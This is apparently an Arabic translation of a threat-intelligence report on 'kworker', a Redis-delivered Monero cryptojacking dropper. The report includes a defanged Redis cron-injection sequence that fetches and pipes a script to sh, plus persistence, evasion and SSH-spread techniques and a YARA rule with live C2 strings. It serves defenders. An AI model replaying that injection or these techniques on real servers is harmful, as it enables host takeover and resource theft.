هذه الصفحة ترجمة. النسخة الإنجليزية هي النص المعتمد. اقرأه بالإنجليزية
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: مُعدِّن العملات الذي يحمل معه أداة إزالته الخاصة
رصدت Kinryū Labs برنامج تعدين طفيلي من سلالة 8220 وهو يحوّل منفذ Redis مفتوحًا وبلا كلمة مرور إلى صدفة بصلاحية الجذر في نحو خمس ثوانٍ. أداة الإسقاط، وهي سكربت صدفة من 636 سطرًا يُدعى kworker، تزيل وكلاء الأمن السحابي من Alibaba وTencent بأدوات المورّدين أنفسهم، وتنفق 200 سطر في قتل المعدّنين المنافسين، وتزرع بابًا خلفيًا في SSH، وتخفي معدّن Monero من نوع XMRig خلف نسخ مزيفة من ps وtop وpstree، وتحاول الانتشار إلى ما بعد المضيف.
بقلم Davis Zheng·
TLP:CLEAR. مُصرَّح بالنشر العام. رُصد عبر شبكة مستشعرات المصائد التابعة لـ Kinryū Labs. المؤشرات الواردة أدناه مُعطَّلة.
الملخص التنفيذي
- ~5sمن منفذ Redis مفتوح إلى أربعة أبواب خلفية في cron بصلاحية الجذر
- 636سطرًا من bash، عدّة كاملة للاستيلاء على المضيف
- 2أداتا إزالة من المورّد محمولتان في داخله بترميز base64
- 80+معدّنًا منافسًا على قائمة القتل
عند الدقيقة السادسة بعد منتصف الليل بالتوقيت العالمي المنسق، فتح شيء ما اتصالًا بمنفذ Redis على إحدى مصائدنا، ونفّذ أمر INFO واحدًا ليعرف ما الذي يحادثه، ثم أنهى الاتصال. وبعد ثانيتين عاد وشرع في العمل. وحين قطع الاتصال، بعد خمس ثوانٍ إجمالًا، كان قد أعاد كتابة جدول cron الخاص بالخادم بأربع طرق مختلفة، ووجّه كلًّا منها إلى الملف نفسه: سكربت صدفة يُدعى kworker.
لم نسمح له بالعمل قط. السكربت لم يُنفَّذ؛ وما بحوزتنا هو السكربت نفسه وتسلسل أوامر المهاجم. وبذلك فإن ما تبقّى لدينا هو السكربت كاملًا، بأسطره الـ636 جميعها، وتسلسل أوامر المهاجم كاملًا. وقراءتهما معًا تعطي مقطعًا عرضيًا نظيفًا لما آل إليه التعدين الطفيلي السلعي على Linux في 2026، وkworker عيّنة جيدة، لأنه يفعل تقريبًا كل ما ابتكره هذا الصنف على الإطلاق. كما يفعل أمرًا واحدًا بوجه جامد تمامًا: يزيل مضاد الفيروسات لديك مستخدمًا أداة الإزالة الخاصة بمورّد مضاد الفيروسات نفسه.
- تعدين طفيلي سلعي من سلالة 8220 Gang / kworkerds، انتهازي وغير موجَّه (ثقة متوسطة). التسليم عبر Redis، وأدوات التنزيل المعاد تسميتها، وملف القفل
/etc/javae، وقائمة القتل الضخمة، كلها سمات مميِّزة لهذه العائلة. ونبقى عند الثقة المتوسطة، ولا نتجاوزها، لأن هذه شيفرة متفرّعة على نطاق واسع تتداولها الطواقم وتعيد بيعها، فالاسم يشير إلى سلالة لا إلى مؤلف واحد. - الهدف هو تعدين Monero (ثقة عالية). غرض السكربت بأكمله هو جلب
javaeوتشغيله، وهو نسخة مبنية من XMRig، بعد تفعيل الصفحات الضخمة له. وكل ما عدا ذلك موجود لتخلية الساحة والاحتفاظ بالمضيف. - برمجية ناضجة وكثيرة الاستعمال، لا مشروع عطلة نهاية أسبوع لأحدهم (ثقة عالية). أسطر cron الخاصة بالاختراق نفسه تستدعي
cd1وwd1، وهما أداتان لا توجدان إلا بعد تثبيت kworker. فالعدّة تفترض وجود نفسها سلفًا، وتلك علامة شيفرة ظلت متداولة مدة من الزمن. - غياب المحفظة متعمَّد (ثقة عالية). السكربت لا يحمل عنوان Monero ولا مجمّع تعدين؛ وكلاهما يقيم في ملف المعدّن الثنائي الذي لم نستعده. والتفصيل الوحيد الذي كان ليربط حملات هذا الطاقم ببعضها هو بالضبط ما يُبقونه خارج السكربت، وهو الجدار نفسه الذي اصطدمنا به في RedTail.
FLUSHALL، ثم أربع طرق إلى cron
بقاء Redis مفتوحًا على الإنترنت بلا كلمة مرور ظل لسنوات صدفةَ جذر من سطر واحد، والأسلوب المستخدم هنا هو الأسلوب القديم الموثوق. اضبط مفتاح قاعدة بيانات قيمته مهمة cron. أخبر Redis بأن يحفظ قاعدة بياناته في مجلد cron. نادِ SAVE. يكتب Redis قاعدة بياناته إلى القرص، ومعها مهمة cron المزيفة، وبعد دقيقة ينفّذها cron بصلاحية الجذر. بصم زائرنا الخادم، وتحقق من قدرته على كتابة ملف، وأطفأ الصمام الذي يوقف الحفظ الفاشل، ثم نفّذ الحيلة.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
الاختراق كله يتسع في بضع ثوانٍ:
- 00:06:00 UTCالاتصال، وإرسال أمر
INFOواحد لبصم الخادم، ثم قطع الاتصال. - + ثانيتانإعادة الاتصال. ضبط أربعة مفاتيح، يحمل كل منها سطر cron. ثم
CONFIG SET dirإلى مجلد cron، وCONFIG SET dbfilenameإلى ملف cron المستهدف، وتعطيل stop-writes-on-bgsave-error، ثمSAVE. - + 5 ثوانٍ إجمالًاقطع الاتصال. أربعة أبواب خلفية في cron مزروعة، كلها تشير إلى `kworker`.
- + دقيقة واحدةعلى مضيف حقيقي، ينفّذ cron السطر المزروع بصلاحية الجذر ويجلب
kworker.
ما يستحق التمهّل عنده هو التكرار الاحتياطي. لم يكتب مهمة cron واحدة؛ بل كتب التعليمة نفسها في أربعة مواضع، /var/spool/cron/root و/var/spool/cron/crontabs و/etc/cron.d/javae و/etc/crontab، مغطيًا تخطيطَي Red Hat وDebian وصيغتَي cron معًا. وكل سطر يجلب kworker بأداة مختلفة، cd1 وwget وcurl وwd1، على جدول متدرّج من دقيقتين وثلاث وأربع وخمس. واثنان من هذه الأسماء ليسا برنامجين حقيقيين. فـcd1 وwd1 هما ما يعيد kworker تسمية curl وwget إليه بعد تثبيته. الاختراق يفترض سلفًا وجود السكربت الذي هو على وشك تنزيله. العدّة كلها متسقة داخليًا، وبذلك تعرف أنها برمجية ناضجة كثيرة الاستعمال لا مشروع عطلة نهاية أسبوع لأحدهم.
أحضر أداة الإزالة الخاصة بك
فور حصوله على صلاحية الجذر، يبدأ kworker بتفكيك المبنى. الجدار الناري يُفرَّغ، وufw يُطفأ، وSELinux يُخفَّض إلى الوضع المتساهل ثم يُعطَّل في ملف تهيئته، وAppArmor يُوقَف، وحارس NMI في النواة يُطفأ، وهذا مهم لأن المعدّن يثبّت المعالج عند مئة بالمئة لأسابيع، والحارس من الأشياء القليلة التي قد تلاحظ ذلك. أما /var/log/syslog فيُحذف كليًا.
ثم يمضي باحثًا عن وكلاء الأمن السحابي، وهنا يكفّ السكربت عن كونه عاديًا. فمزوّدو السحابة الصينيون الكبار يشحنون وكيل مضيف على أجهزتهم الافتراضية: Aegis من Alibaba، الذي ستراه يعمل باسم AliYunDun؛ وYunJing من Tencent؛ وHostGuard من Huawei. ويتحقق kworker من كل واحد منها. وحيث يجد وكيل Alibaba، لا يكتفي بقتل العملية. بل يشغّل أداة الإزالة الرسمية من Alibaba، ولضمان نجاح ذلك حتى على جهاز لا منفذ له للعودة إلى Alibaba، يحمل في داخله اثنين من سكربتات الإزالة الخاصة بـAlibaba بترميز base64. وقد فككنا ترميز كليهما. وهما أصليان تمامًا، بما في ذلك تفكيك تتبّع kprobe.
يزيل حماية نقطتك الطرفية بنظافة، على النحو الذي أراده المورّد، ويترك السجلات مرتبة.
هذا ليس ارتجالًا. شخص ما جلس أمام جهاز Aliyun حقيقي، وانتزع أدوات الإزالة، وبناها في الداخل.
حرب نفوذ، مكتوبة بلغة bash
إن لم تكن قد قرأت واحدًا من هذه السكربتات من قبل، فما يفاجئك هو حجم ما يستهدف مجرمين آخرين. عدو المعدّن الحقيقي هو المعدّن التالي الذي يحاول استئجار المعالج نفسه، لا مدير النظام. ينفق kworker نحو مئتي سطر في مطاردة المنافسين، وهو يقتل بكل مقبض يستطيع الإمساك به.
- بحسب اسم العملية، من قائمة حظر تضم أكثر من مئة اسم:
xmrigوkinsingوkdevtmpfsiوعائلةwatchdogsوwatchbogوddgوsustesوkworkerdsالأقدم الذي ينحدر اسمه منه. - بحسب المنفذ، تلك التي تجلس عليها مجمّعات التعدين وبوتات IRC.
- بحسب عنوان IP مضمّن في الشيفرة.
- بحسب استهلاك المعالج، وهي الأداة الفجّة: كل ما يحرق أكثر من 40 بالمئة من المعالج تحت اسم لا يعرفه يُقتل، على أساس أن عملية مجهولة تلتهم المعالج هي، بحكم التعريف، معدّن منافس.
يحذف ملفاتهم من /tmp و/dev/shm، وينزع مهام cron الخاصة بهم، ويزيل جذور التحميل المسبق التي يثبّتها بعضهم، ويمدّ يده إلى Docker لقتل صور التعدين المعروفة وحذفها. هذا هو الاستيلاء على الأرض نفسه الذي وثّقناه في سكربت clean الخاص بـRedTail وفي killservice.sh الخاص بـRootpacket؛ فهذه الطواقم كلها تتقاتل على الأجهزة سيئة الإعداد نفسها، وكلها تفتتح بمسح الساحة.
وهو أيضًا، على وجه التحديد وبشكل متكرر، فظّ تجاه TeamTNT، إذ يتراجع عن إعادة تسمية curl وwget التي يجريها TeamTNT ويمسح أدلته. وحيث يقتل Kinsing، يكتب فوق الملف كلمة fuckyou ويقفله كي لا يستطيع Kinsing إعادة نفسه. لا شرف هنا، بل استيلاء على الأرض فحسب، وkworker يلعبها بقسوة أكبر من معظمهم.
اقرأ القائمة بتمعّن فتتحول إلى فهرس لكيفية اختباء المنافسة. مجموعة من الأهداف تتنكر في هيئة خيوط نواة، kacpi_svc وkswap_svc وkthreadd_svc وksoftirqd_svc؛ وأخرى تتنكر في هيئة خدمات نظام، polkitd وacpid وdbus-daemon--system وsystemctI بحرف I كبير حيث ينبغي أن يكون حرف L. فـkworker يطارد التنكّرات نفسها التي يرتديها منافسوه، وهي التنكّرات ذاتها التي يلجأ إليها بعد أسطر قليلة حين يخفي javae بين أسماء مثل systemd-network وirqbalanced. الجميع في هذا القتال متنكرون في هيئة ضجيج نظام ممل، والجميع حفظ زيّ الآخرين عن ظهر قلب.
وبعض الأهداف ليست أسماءً أصلًا. أحدها L2Jpbi9iYXN، وهو مستهلّ ترميز base64 لأمر /bin/bash. يبحث kworker في جدول العمليات عن تلك البادئة المرمّزة، فيلتقط محمّل منافس عبر كتلة base64 القابعة في سطر أوامره.
القائمة كلها تطول، أكثر من مئة طريقة لتسمية عملية تريدها ميتة، وتستحق تصفّحًا سريعًا ولو لمجرد الإحاطة بنسيج هذا العداء:
قائمة القتل الكاملة، مستخرجة من السكربت الملتقط
مأخوذة من kill_miner_proc وkill_sus_proc ومسح Docker. كل ما هنا هدف يطارده kworker، لا بنيته التحتية هو. عناوين IP مُعطَّلة.
المنافذ التي يقتل أي عملية عليها (مجمّعات التعدين، وبوتات IRC، وأدوات التحكم عن بُعد، وSSH البديل وTelnet): 23، 143، 2222، 3333، 3347، 3389، 5555، 6665، 6666، 6667، 7777، 8444، 10008، 13531.
عائلات المعدّنين وشبكات البوت المعروفة: xmrig، xmrig-cpu، xmrig-notls، xmr-stak، mstxmr، cnrig، minerd، minergate، cryptonight، crypto-pool، moneroocean، kinsing، kdevtmpfsi، kworkerds، kworker34، watchdogs، watchd0g، watchbog، ddg، ddg.2011، sustes، sustse، sustse3، kthrotlds، ksoftirqds، tntrecht (TeamTNT)، nanoWatch، sourplum، disk_genius، biosetjenkins، nullcrew.
منافسون يتخفون في هيئة خيوط نواة: kacpi_svc، kswap_svc، kauditd_svc، kpsmoused_svc، kseriod_svc، kthreadd_svc، ksoftirqd_svc، kintegrityd_svc، kblockd_svc، native_svc.
منافسون يتخفون في هيئة خدمات نظام: polkitd، acpid، dbus-daemon--system، irqbalance، irqbalanc1، crond64، nginxk، vmlinuz، systemctI (بحرف i كبير، لا systemctl)، systemten، systemxlv، svcupdate، netdns، netns، redis2، rsync، httpgd، haveged، voltuned، nqscheduler.
حمولات وسكربتات مسمّاة أخرى وعلامات خاصة بكل حملة: apaceha، apachiii، mixnerdx، mixtape، performedl، conns، mgwsl، pythno، jweri، lx26، i586، gddr، askdljlqw، ysaydh، bonns، donns، kxjd، nopxi، deamon، zigw، devtool، devtools، suppoie، exin، xr، jawa، ynn، servim، darwin، sysstats، Loopback، XJnRj، NXLAi، BI5zj، icb5o، wnTKYg، 2t3ik، qW3xT.2، hahwNEdB، CnzFVPLF، CvKzzZLs، OIcJi1m، IOFoqIgyC0zmf2UR، 65ccEJ7، jmxx، 2Ne80nA، C4iLM4L، Guard.sh، Duck.sh، bonn.sh، conn.sh، kw.sh، pro.sh، mr.sh، 2mr.sh، cr5.sh، he.sh، miner.sh، l.sh، z3.sh، lower.sh، ndt.sh، logo9.jpg، oracle.jpg، init10.cfg، init12.cfg، j2.conf، zer0day.ru، gitee.com.
مشغّلات مموّهة وملفات تهيئة مُسقطة: ./ppp، ./vsp، ./jvs، ./pvv، ./vpp، ./pces، ./rspce، ./jiba، ./haveged، ./watchbog، ./servceaess وتوائمه المكتوبة بأخطاء إملائية، mwyumwdbpq.conf، honvbsasbf.conf، mqdsflm.cf، /wl.conf، wc.confz، إضافة إلى علامة مهد base64 وهي L2Jpbi9iYXN (بداية أمر /bin/bas... من سطر واحد).
عناوين IP لمجمّعات المنافسين وخوادم تحكمهم يطلق عليها النار فور رؤيتها: 45.76.122[.]92، 51.38.191[.]178، 51.15.56[.]161، 104.248.4[.]162، 89.35.39[.]78، 107.174.47[.]156، 107.174.47[.]181، 83.220.169[.]247، 51.38.203[.]146، 144.217.45[.]45، 176.31.6[.]16، 46.243.253[.]15، 200.68.17[.]196، 188.209.49[.]54، 181.214.87[.]241، 121.42.151[.]137.
صور وحاويات Docker التي يقتلها ويحذفها: حاويات بأسماء pocosow، gakeaws، azulu، auto، xmr، mine، slowhttp، bash.shell؛ ومراجع صور pocosow، gakeaws، buster-slim، hello-، azulu، registry، xmr، monero، mine، slowhttp.
والأداة الفجّة: كل ما يتجاوز 40 بالمئة من المعالج ولا يطابق javae يُقتل، وكذلك كل ما يتجاوز 10 بالمئة ويبدو اسمه كخيط نواة بين قوسين معقوفين، وكل ما يعمل من /tmp، وأي عملية باسم طويل على نحو مريب.
والآن لا تراه
بعد أن خلا له الميدان، يخفي لاعبه هو. فيستبدل ps وtop وpstree بأغلفة من سطرين تستدعي الملفات الثنائية الحقيقية وترشّح بهدوء أي سطر يذكر المعدّن (javae) أو الماسح الذي يشحنه (pnscan)، ثم يعيد تأريخ النسخ المزيفة إلى 2016 كي لا تبدو جديدة. شغّل ps على جهاز مصاب ولن يكون المعدّن ببساطة في القائمة.
والمعدّن مسمّى أصلًا كي يتلاشى داخل جدول العمليات: javae يجلس إلى جوار ملفات قفل مزروعة بأسماء مثل systemd-network وirqbalanced وkswaped، كل واحد منها مختار ليُقرأ على أنه ضجيج نظام ممل.
مفتاح، وطريق إلى الجيران
حركتان أخريان تكملان الاستيلاء.
يكتب مفتاح SSH العام الخاص بالمشغّل، الذي تعليقه ليس إلا uc1، في ملف authorized_keys للجذر ويجعل الملف غير قابل للتعديل، فلا تكفي ملاحظته؛ بل عليك إزالة بتّ عدم القابلية للتعديل قبل أن تتمكن حتى من حذفه. وهذا وصول يدوي يبقى بعد تنظيف المعدّن.
ثم يحاول الانتشار. يقرأ ملف known_hosts للجذر، وهو قائمة كل جهاز سجّل هذا الصندوق الدخول إليه، ويحاول الاتصال بكل واحد منها عبر SSH مستخدمًا المفاتيح الملقاة أصلًا على القرص، منفّذًا أمرًا من سطر واحد على كل ما يسمح له بالدخول يجلب kworker من العنوان الاحتياطي ويعيد القصة كلها من بدايتها. ليست دودة سريعة، وهي تتكئ على ترك مفاتيح بلا كلمات مرور ملقاة هنا وهناك، لكن في الأساطيل التي تكون فيها كذلك عادةً، فذلك يكفي ويزيد.
المعدّن، والمحفظة التي لم نحصل عليها
رغم كل تلك الآلية، فإن المكسب الفعلي ممل: ملف ثانٍ، javae، نسخة مبنية من XMRig تعدّن Monero. يشغّل kworker الصفحات الضخمة (vm.nr_hugepages مضبوطًا على 128، وهو تسريع قياسي لـXMRig)، ويسقط javae في /etc، ثم يشغّله.
وهنا الثغرة في هذا التقرير. ليس لدينا javae، وليست لدينا المحفظة. السكربت لا يحمل عنوان Monero ولا مجمّع تعدين؛ فهذه مخبوزة داخل ملف المعدّن الثنائي الذي يُجلب وقت التشغيل، وخادم التحكم لم يقدّمه لأي من صناديق الرمل العامة التي فحصت هذه العيّنة، فلا يوجد ما يمكن تفكيكه بشكل سلبي. وكل من يحلل kworker وحده يصطدم بالجدار نفسه. المحفظة هي الشيء الوحيد الذي كان ليربط حملات هذا الطاقم ببعضها، وهي بالضبط الشيء الذي يُبقونه خارج السكربت.
مستضاف على Cloudflare، عن قصد
كلٌّ من السكربت والمعدّن يأتي من download.logltech[.]workers[.]dev، وهو عنوان Cloudflare Workers، وذلك اختيار متعمَّد. فـWorkers مجاني، وHTTPS فيه افتراضي، ويستعير سمعة Cloudflare فيمرّ من قوائم حظر النطاقات، ويخفي أيًا كان الأصل الذي يتحكم فيه المشغّل فعليًا. كل روابط الحمولة تُحلّ إلى Cloudflare؛ والأصل الحقيقي للمشغّل لا يُكشف أبدًا.
القناة الاحتياطية، التي تستخدمها الدودة، هي tutorial.clashverge[.]space، المسجَّلة في أواخر فبراير. وكل عنوان IP آخر مضمّن في السكربت يعود لمنافس يريده ميتًا، موزّعًا على أجهزة في Vultr وOVH وDigitalOcean ومضيف واحد على Alibaba Cloud في هانغتشو، ولا يعود لهذا المشغّل إطلاقًا. اقرأ عناوين IP المضمّنة على أنها قائمة أهداف، لا بنية تحتية.
لمن هو؟
بحذر إذن. هذا تعدين طفيلي سلعي من السلالة التي تُصنَّف عادةً تحت 8220 Gang، أو kworkerds. والدلائل كلها حاضرة: التسليم عبر حقن cron في Redis، وإعادة تسمية curl إلى cd1، وملف القفل /etc/javae، وناشر pnscan، وقائمة القتل الهائلة. ومحركات مكافحة الفيروسات لا تتفق على اسم، وهذا بحد ذاته هو المغزى. فـClamAV يسميه Rocke، وRising يصنّفه TeamTNT، والبقية تقول CoinMiner فحسب. هذه السكربتات تُنسخ وتُدمج وتُعاد بيعها عبر ستة طواقم أو نحوها، وkworker يقتل عدة عائلات تربطه بها قرابة.
عامِل العائلة على أنها حيّ سكني، لا بصمة.
التركيز على وكلاء السحابة الصينيين، ووجود شقيق بلغة PowerShell على Windows يربطه VirusTotal بالعيّنة نفسها، يكملان الصورة، لكن الصياغة الآمنة هي المتحفظة. متفرّع على نطاق واسع، بدافع مالي، غير موجَّه، وليس جديدًا. ثقة متوسطة، ونحن مرتاحون عندها.
مؤشرات الاختراق
الشبكة
| المؤشر | السياق |
|---|---|
download.logltech[.]workers[.]dev | خادم تحكم (أساسي)، Cloudflare Workers. يقدّم /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | خادم تحكم (احتياطي)، تستخدمه الدودة. سُجّل في 27 فبراير 2026 |
170.9.225[.]197 | عنوان IP المصدر الذي ضرب مصيدة Redis |
مضيف *.workers.dev + طلب GET تحت /up/down/api/ | نمط جلب حمولة يستحق فحصًا دقيقًا على مستوى الشبكة |
الملفات (SHA-256 / MD5)
| الملف | SHA-256 | MD5 |
|---|---|---|
kworker (أداة الإسقاط) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (معدّن XMRig) | لم يُستعد، والحجم المتوقع 5,685,096 بايت |
مفتاح الباب الخلفي في SSH: التعليق uc1، وبصمة المفتاح العام SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. ابحث عنه في authorized_keys عبر كامل البيئة.
آثار المضيف
| المسار | السياق |
|---|---|
/etc/kworker، /etc/javae، /etc/cron.d/javae، /tmp/{kworker,javae} | ملفات مُسقطة |
/usr/bin/cd1 (كان curl)، /usr/bin/wd1 (كان wget) | أدوات تنزيل معاد تسميتها |
/bin/ps.original، /bin/top.original، /bin/pstree.original | الملفات الثنائية الحقيقية محفوظة خلف أغلفة مُلغَّمة |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | ملفات قفل أسماء غير قابلة للتعديل بحجم رقم واحد |
vm.nr_hugepages = 128 | الصفحات الضخمة مفعّلة لصالح XMRig |
السلوكية
- أمر
psأوtopأوpstreeيكون في الحقيقة سكربت صدفة يمرّر الإخراج عبرgrep -v. - ملف
authorized_keysلم تكتبه أنت، ينتهي بالتعليقuc1. - مهام cron تنفّذ
sh /etc/kworkerأوsh /tmp/kworker، وملف/etc/cron.d/javaeلا ينبغي أن يكون موجودًا. - ملفات غير قابلة للتعديل بحجم رقم واحد في
/usr/bin/kswapedوأخواتها. - أمرا
curlوwgetأُعيدت تسميتهما إلىcd1وwd1. vm.nr_hugepagesمضبوط بهدوء على 128.
الكشف
الدلائل على جانب المضيف صاخبة متى عرفتها، وهي مدرجة أعلاه. أما على مستوى الشبكة، فكل ما يحلّ مضيف *.workers.dev ويطلب مسارات تحت /up/down/api/ يستحق فحصًا دقيقًا. وفيما يلي قاعدة YARA تنطلق على السلاسل المستقرة. وهي تحمل السلاسل الحية عن قصد، لأغراض الكشف.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
ما ينبغي أن يتغيّر بناءً على هذا
لا شيء من هذا متطور، وهذا هو الدرس. دخل kworker لأن منفذ Redis كان مفتوحًا بلا كلمة مرور، وهو خطأ من 2018 لا يزال يؤتي ثماره في 2026. وكل ما جاء بعد ذلك، من إزالة الحماية الطرفية والجذر الخفي والدودة، لم يكن مهمًا إلا لأن الباب الأمامي كان غير موصد.
- لا تعرّض Redis، ولا أي مخزن بيانات، للإنترنت، واجعله يشترط المصادقة. عامِل خدمة واحدة مفتوحة على أنها اختراق للمضيف كله، لا اختراق خدمة واحدة.
- راقب cron و
authorized_keysكما تراقب شيفرة الإنتاج، لأنهما بالنسبة للمهاجم هما ذلك بالضبط. - لا تعامل الوكيل السحابي على الجهاز كشبكة أمان. فأول غريزة عند kworker كانت أن يتقدم ويزيله، بأدب، بأدوات المورّد نفسه.
الربط بإطار MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| الوصول الأولي | T1190 Exploit Public-Facing Application (Redis) |
| التنفيذ | T1059.004 Unix Shell |
| الاستمرارية | T1053.003 Cron؛ T1098.004 SSH Authorized Keys |
| التهرب من الدفاعات | T1562.001 Impair Defenses: Disable or Modify Tools (إزالة الوكيل السحابي وحماية النقاط الطرفية)؛ T1562.004 Disable or Modify System Firewall؛ T1070.002 Clear Linux or Mac System Logs؛ T1014 Rootkit (نسخ مُلغَّمة من ps/top/pstree)؛ T1036.005 Masquerading: Match Legitimate Name؛ T1222.002 Linux File and Directory Permissions Modification (chattr +i)؛ T1070.006 Timestomp (نسخ مزيفة مُعاد تأريخها) |
| الاستكشاف | T1057 Process Discovery (مطاردة المنافسين)؛ T1518.001 Security Software Discovery (الوكلاء السحابيون)؛ T1046 Network Service Scanning (pnscan) |
| الحركة الجانبية | T1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer |
| القيادة والسيطرة | T1071.001 Web Protocols؛ T1102 Web Service (Cloudflare Workers)؛ T1105 Ingress Tool Transfer |
| الأثر | T1496 Resource Hijacking (تعدين Monero) |
المنهجية وملاحظات المحلل
- كان التحليل ساكنًا وسلبيًا. لم تُنفَّذ أداة الإسقاط قط ولم يجرِ الاتصال بأي بنية تحتية للمهاجم. والنتائج مستمدة من قراءة السكربت الملتقط كاملًا بأسطره الـ636، وفك ترميز أدوات الإزالة المضمّنة بـbase64، ومراجعة جلسة Redis المسجَّلة.
- المؤشرات أعلاه مُعطَّلة. أما قاعدة YARA فتحتوي السلاسل الحية بتصميم مقصود، لأغراض الكشف.
- ليس لدينا معدّن المرحلة الثانية (
javae) ولا محفظة Monero. السكربت لا يحمل أيًا منهما؛ فكلاهما يقيم في ملف المعدّن الثنائي الذي يُجلب وقت التشغيل والذي لم يقدّمه خادم التحكم لصناديق الرمل العامة. واستعادة المحفظة كانت ستتطلب تفجيرًا حيًا مع التقاط لحركة الشبكة، وهو ما لم ننفّذه. - العيّنات (أداة الإسقاط وأدوات الإزالة المفكوكة الترميز) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسل contact@kinryu.sh مع ملاحظة قصيرة عن هويتك والغرض من طلبها.